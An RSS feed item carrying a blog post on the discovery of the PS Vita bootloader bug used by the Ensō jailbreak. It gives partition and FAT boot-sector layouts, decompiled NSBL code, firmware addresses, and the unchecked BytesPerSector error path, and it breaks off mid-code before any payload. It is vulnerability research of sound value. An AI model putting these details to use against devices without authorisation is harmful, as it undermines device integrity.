<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>it does now</title>
    <description>the little blog that does</description>
    <link>https://blog.xyz.is/</link>
    <atom:link href="https://blog.xyz.is/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Tue, 01 Jun 2021 10:14:18 -0400</pubDate>
    <lastBuildDate>Tue, 01 Jun 2021 10:14:18 -0400</lastBuildDate>
    <generator>Jekyll v4.2.0</generator>
    
      <item>
        <title>Ensō: A PS Vita bootloader exploit</title>
        <description>&lt;style&gt;
.a {
  background-color: #ffff5c;
}

.b {
  background-color: #a6ffff;
}

.c {
  background-color: #ffc9d2;
}

.vuln {
  background-color: red;
  color: white;
}
&lt;/style&gt;

&lt;p&gt;HENkaku Ensō, the first ever permanent jailbreak (also known as a custom firmware) for all PlayStation Vita devices running home menu version 3.6 was released by &lt;a href=&quot;https://wiki.henkaku.xyz/vita/Molecule&quot;&gt;molecule&lt;/a&gt; on 2017-29-07.&lt;/p&gt;

&lt;p&gt;In this blog post I’ll explain how I found the vulnerability and how the exploit was developed and debugged. The rest, i.e. actually loading the jailbroken CFW, is covered in this &lt;a href=&quot;https://yifan.lu/2017/07/31/henkaku-enso-bootloader-hack-for-vita/&quot;&gt;follow-up article by Yifan Lu&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;small&gt;You might notice how in the linked post Yifan refers to Ensō as “one of the first vulnerabilities &lt;em&gt;we&lt;/em&gt; found was in the bootloader”. This is an obvious lie, I found this vulnerability all by myself, trust me. Now that we’re clear on that, please carry on reading.&lt;/small&gt;&lt;/p&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;Bootloaders are a great target to exploit. Taking over the boot process early on lets us execute our code before the system has finished initializing, allowing for much more control compared to a more traditional exploit chain such as &lt;a href=&quot;/2016/vita-netps-ioctl.html&quot;&gt;HENkaku&lt;/a&gt;. In some cases it might be possible to create a future-proof exploit, i.e. being able to keep the exploit working and having latest firmware’s features (for example, support for newer games) at the same time. Unfortunately, this is not the case with Vita and Ensō, but hacking the bootloader is still worth it.&lt;/p&gt;

&lt;h1 id=&quot;terminology&quot;&gt;Terminology&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;ASLR: &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot;&gt;Address space layout randomization&lt;/a&gt;. The important thing here is that Vita bootloader doesn’t have it, so a memory corruption can be turned into an exploit fairly easily.&lt;/li&gt;
  &lt;li&gt;ARM: The main Vita processor is a quad core Cortex-A9. In addition, Vita has a security processor, which is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Media-embedded_processor&quot;&gt;Toshiba MeP&lt;/a&gt;, a MIPS processor used for PSP compatibility, a bunch of PowerVR GPU cores using two custom assembly languages, &lt;a href=&quot;https://wiki.henkaku.xyz/vita/Ernie&quot;&gt;syscon&lt;/a&gt;: an external Renesas chip, and more.&lt;/li&gt;
  &lt;li&gt;TrustZone: The CPU supports ARM TrustZone technology, which isolates so-called “trusted” code from the rest of the system. For the purposes of this article, however, you just need to know that it is somewhat of a one side barrier between trusted (aka secure) and untrusted code, allowing trusted code to gain control over untrusted but not vice-versa. Execution starts from secure mode and transfers to non-secure.&lt;/li&gt;
  &lt;li&gt;SBL: secure boot loader. This is the first code that runs on ARM. It sets up NSBL (see below) and transfers control to it after dropping out of the secure mode.&lt;/li&gt;
  &lt;li&gt;NSBL: non-secure boot loader. This is the first code that runs on ARM in non-secure mode (outside of TrustZone).&lt;/li&gt;
  &lt;li&gt;eMMC: This is the primary persistent storage on Vita. It’s where the operating system, bootloaders, and system data are all stored.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;aside&quot;&gt;
  &lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; Unlike most embedded devices, Vita implements device unique eMMC block level encryption that is transparent to the processor. This means that if you dump the data from the chip (or sniff data lines), you’ll get encrypted data. At the same time, Vita operating system will always see the decrypted data, even at the most privileged level of its operation. One consequence of this is that you have to dump and restore the data the same way. For example, if you dump the data using &lt;a href=&quot;https://github.com/yifanlu/psvsd/tree/master/psvemmc&quot;&gt;an eMMC adapter&lt;/a&gt;, you can’t restore it in software as it will have a layer of encryption unaccounted for, and vice-versa.&lt;/p&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Block: data is read from eMMC in blocks. The physical block size is 0x200 bytes, so reading a single block from eMMC means reading 512 bytes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;attack-vectors&quot;&gt;Attack vectors&lt;/h1&gt;

&lt;p&gt;SBL is the first code to execute on the ARM processor. Unfortunately, it takes no controlled input whatsoever, so it is not possible to attack in any way.&lt;/p&gt;

&lt;p&gt;The obvious next target is NSBL. Because it reads and loads the kernel, it is also the first code running on ARM where we can affect the execution flow. An example of affecting its execution flow is removing all kernel modules from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0:&lt;/code&gt;, which would turn your Vita into a useless paperweight.&lt;/p&gt;

&lt;p&gt;The very first step of loading kernel modules is reading and parsing the filesystem they are stored on. Let’s dig deeper into the process.&lt;/p&gt;

&lt;h1 id=&quot;partition-table&quot;&gt;Partition table&lt;/h1&gt;

&lt;p&gt;The eMMC storage on Vita is divided into multiple partitions that have different responsibilities. In this post I’ll only look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0:&lt;/code&gt;, however, if you’re interested in the full list, check out the &lt;a href=&quot;https://wiki.henkaku.xyz/vita/Partitions&quot;&gt;wiki article&lt;/a&gt; on the subject.&lt;/p&gt;

&lt;p&gt;A partition table stores partitions’ locations, sizes and other miscellaneous information. For example, on Vita we have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0:&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vs0:&lt;/code&gt; partitions; on Linux you may have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/sda1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/sda2&lt;/code&gt;. The partition table is usually stored in the first blocks of the physical device. Common partition table formats used on PC are &lt;a href=&quot;https://en.wikipedia.org/wiki/Master_boot_record&quot;&gt;MBR&lt;/a&gt; (also called DOS) and &lt;a href=&quot;https://en.wikipedia.org/wiki/GUID_Partition_Table&quot;&gt;GPT&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On Vita, however, a custom partition table format is used. The first physical block, i.e. bytes [0x000; 0x200), contain the partition table. The structure is &lt;a href=&quot;https://wiki.henkaku.xyz/vita/Partitions&quot;&gt;documented on the wiki&lt;/a&gt;. While not completely accurate, I’ll refer to this block as MBR throughout this article. In pseudocode Vita’s MBR would be:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;off&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;active&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;partition_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// Size = 17 bytes&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;device_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unk1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;partition_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;partitions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unk2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unk3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;master_block_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Size = 512 bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vita supports up to 16 partitions and each partition entry is 17 bytes. For example:&lt;/p&gt;

&lt;pre&gt;
00000000  53 6f 6e 79 20 43 6f 6d  70 75 74 65 72 20 45 6e  |Sony Computer En|
00000010  74 65 72 74 61 69 6e 6d  65 6e 74 20 49 6e 63 2e  |tertainment Inc.|
00000020  03 00 00 00 00 00 76 00  00 00 00 00 00 00 00 00  |......v.........|
00000030  6b 40 00 00 6a 00 00 00  00 40 00 00 00 40 00 00  |k@..j....@...@..|
00000040  00 60 00 00 00 80 00 00  00 00 00 00 00 00 00 00  |.`..............|
00000050  &lt;span class=&quot;a&quot;&gt;00 02 00 00 00 04 00 00  01 da 00 1f 0f 00 00 00&lt;/span&gt;  |&lt;span class=&quot;a&quot;&gt;................&lt;/span&gt;|
00000060  &lt;span class=&quot;a&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;b&quot;&gt;00 40 00 00 00 20 00  00 02 da 01 0f 0f 00 00&lt;/span&gt;  |&lt;span class=&quot;a&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;b&quot;&gt;.@... .........&lt;/span&gt;|
00000070  &lt;span class=&quot;b&quot;&gt;00 00&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;00 60 00 00 00 20  00 00 02 da 00 0f 0f 00&lt;/span&gt;  |&lt;span class=&quot;b&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;.`... ........&lt;/span&gt;|
00000080  &lt;span class=&quot;c&quot;&gt;00 00 00&lt;/span&gt; 00 80 00 00 00  80 00 00 03 06 01 0f 0f  |&lt;span class=&quot;c&quot;&gt;...&lt;/span&gt;.............|
00000090  00 00 00 00 00 00 01 00  00 80 00 00 03 06 00 0f  |................|
000000a0  0f 00 00 00 00 00 80 01  00 00 00 03 00 0c 06 00  |................|
000000b0  ff 0f 00 00 00 00 00 80  04 00 00 00 01 00 06 06  |................|
000000c0  00 ff 0f 00 00 00 00 00  80 05 00 00 00 08 00 04  |................|
000000d0  06 00 0f 0f 00 00 00 00  00 80 0d 00 00 00 01 00  |................|
000000e0  05 06 00 ff 0f 00 00 00  00 00 80 0e 00 00 00 08  |................|
000000f0  00 0b 06 00 ff 0f 00 00  00 00 00 80 16 00 00 80  |................|
00000100  09 00 0e 07 00 ff 0f 00  00 00 00 00 00 20 00 00  |............. ..|
00000110  00 30 00 07 07 00 ff 0f  00 00 00 00 00 00 50 00  |.0............P.|
00000120  00 00 26 00 08 07 00 ff  0f 00 00 00 00 00 00 00  |..&amp;amp;.............|
00000130  00 00 00 26 00 00 00 00  00 00 00 00 00 00 00 00  |...&amp;amp;............|
00000140  00 00 00 00 76 00 00 00  00 00 00 00 00 00 00 00  |....v...........|
00000150  00 00 00 00 00 76 00 00  00 00 00 00 00 00 00 00  |.....v..........|
00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
&lt;/pre&gt;

&lt;p&gt;&lt;small&gt;
  &lt;span class=&quot;a&quot;&gt;Yellow&lt;/span&gt;: idstorage; &lt;span class=&quot;b&quot;&gt;Cyan&lt;/span&gt;: active &lt;a href=&quot;https://wiki.henkaku.xyz/vita/SLB2&quot;&gt;SLB2&lt;/a&gt;; &lt;span class=&quot;c&quot;&gt;Pink&lt;/span&gt;: inactive &lt;a href=&quot;https://wiki.henkaku.xyz/vita/SLB2&quot;&gt;SLB2&lt;/a&gt;.
&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;Note that the partition table is not aware of partitions’ contents. As such, there is a disconnect between for example how large a partition is in the partition table and how large the target filesystem is. The filesystem itself also isn’t aware of where it’s placed on the disk, so all offsets are relative to its first block.&lt;/p&gt;

&lt;p&gt;Some important partitions, for example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0:&lt;/code&gt; where kernel modules and other system files are stored, have a shadow copy. This is done so that a system update doesn’t brick your console if you lose power in the middle of it. The updater first overwrites the inactive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0&lt;/code&gt; with the new version and then flips the active bit around. Since flipping the active bit is very fast, it is very unlikely that you’d lose power at that exact millisecond.&lt;/p&gt;

&lt;h1 id=&quot;fat-file-system&quot;&gt;FAT file system&lt;/h1&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0:&lt;/code&gt; partition uses the FAT file system. The first block of the partition, called &lt;a href=&quot;http://averstak.tripod.com/fatdox/bootsec.htm&quot;&gt;FAT boot sector&lt;/a&gt;, stores system data such as number of bytes per sector, number of sectors per head and number of heads per cylinder. For flash memory, like Vita uses, the concepts of cyliders or heads don’t make sense, but they are still present.&lt;/p&gt;

&lt;p&gt;Normally, the boot sector looks like this:&lt;/p&gt;

&lt;pre&gt;
00000000  eb fe 90 53 43 45 49 20  20 20 20 &lt;span class=&quot;vuln&quot;&gt;00 02&lt;/span&gt; 08 02 00  |...SCEI    &lt;span class=&quot;vuln&quot;&gt;..&lt;/span&gt;...|
00000010  02 00 02 00 80 f8 13 00  3f 00 ff 00 00 00 00 00  |........?.......|
00000020  00 00 00 00 80 00 29 22  40 77 48 4e 4f 20 4e 41  |......)&quot;@wHNO NA|
00000030  4d 45 20 20 20 20 46 41  54 31 36 20 20 20 00 00  |ME    FAT16   ..|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
&lt;/pre&gt;

&lt;h1 id=&quot;the-vulnerability&quot;&gt;The vulnerability&lt;/h1&gt;

&lt;p&gt;At offset 0xB in the FAT boot sector there is a 16-bit value called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector&lt;/code&gt; (marked in red). On Vita it is set to 0x200 to match the physical sector size.&lt;/p&gt;

&lt;p&gt;The function that parses the boot sector is located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x5101FD18&lt;/code&gt; in 3.60 NSBL. At some point it reads the field:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;fat_bytes_per_sector&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fat_cache_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fat_bytes_per_sector_minus_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fat_cache_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then there’s a check at the end of the function:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fat_bytes_per_sector_minus_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x200&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x803FF003&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It seems that if we set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector&lt;/code&gt; to a large value, e.g. 0x400 it would error out and Vita would refuse to boot.&lt;/p&gt;

&lt;div class=&quot;aside&quot;&gt;
  &lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; Notice how it compares not the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector&lt;/code&gt;, but rather a calculated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector - 1&lt;/code&gt;. This is likely an optimization made by the compiler. The original code probably looked like:&lt;/p&gt;

  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if (BytesPerSector == 0 || BytesPerSector &amp;gt; 0x200) { error out }&lt;/code&gt;&lt;/p&gt;

  &lt;p&gt;In our case, if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector&lt;/code&gt; is zero, then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector - 1&lt;/code&gt; would be 0xFFFFFFFF, and would also fail the optimized check.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;But let’s look deeper. The function with the check described above, which I’m going to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fat_buggy_func&lt;/code&gt;, is called from another function located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x5100124C&lt;/code&gt; that I’ll name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup_emmc&lt;/code&gt;. This one does:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os0_dev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fat_buggy_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x110000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Further, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup_emmc&lt;/code&gt; itself is called from the function responsible for loading the modules, located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x5100163C&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cpu_barrier_start2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cpu_aff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// if executed on CPU0&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;setup_emmc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Oops! Turns out, this one doesn’t use the return value at all! Therefore, NSBL will proceed &lt;strong&gt;even though &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector&lt;/code&gt; is now 0x400&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fat_buggy_func&lt;/code&gt; had returned early with an error, some code inside it did not execute and some variables were left uninitialized. Fortunatelly, it doesn’t matter for our exploit.&lt;/p&gt;

&lt;p&gt;Looking for code that would use our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector&lt;/code&gt; I found a function at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x5101F56C&lt;/code&gt;. This is what I’ll call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exploited_fat_func&lt;/code&gt;. It has the following loop:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v73&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v73&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_511673A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blocks_per_sector&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;temp_store&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
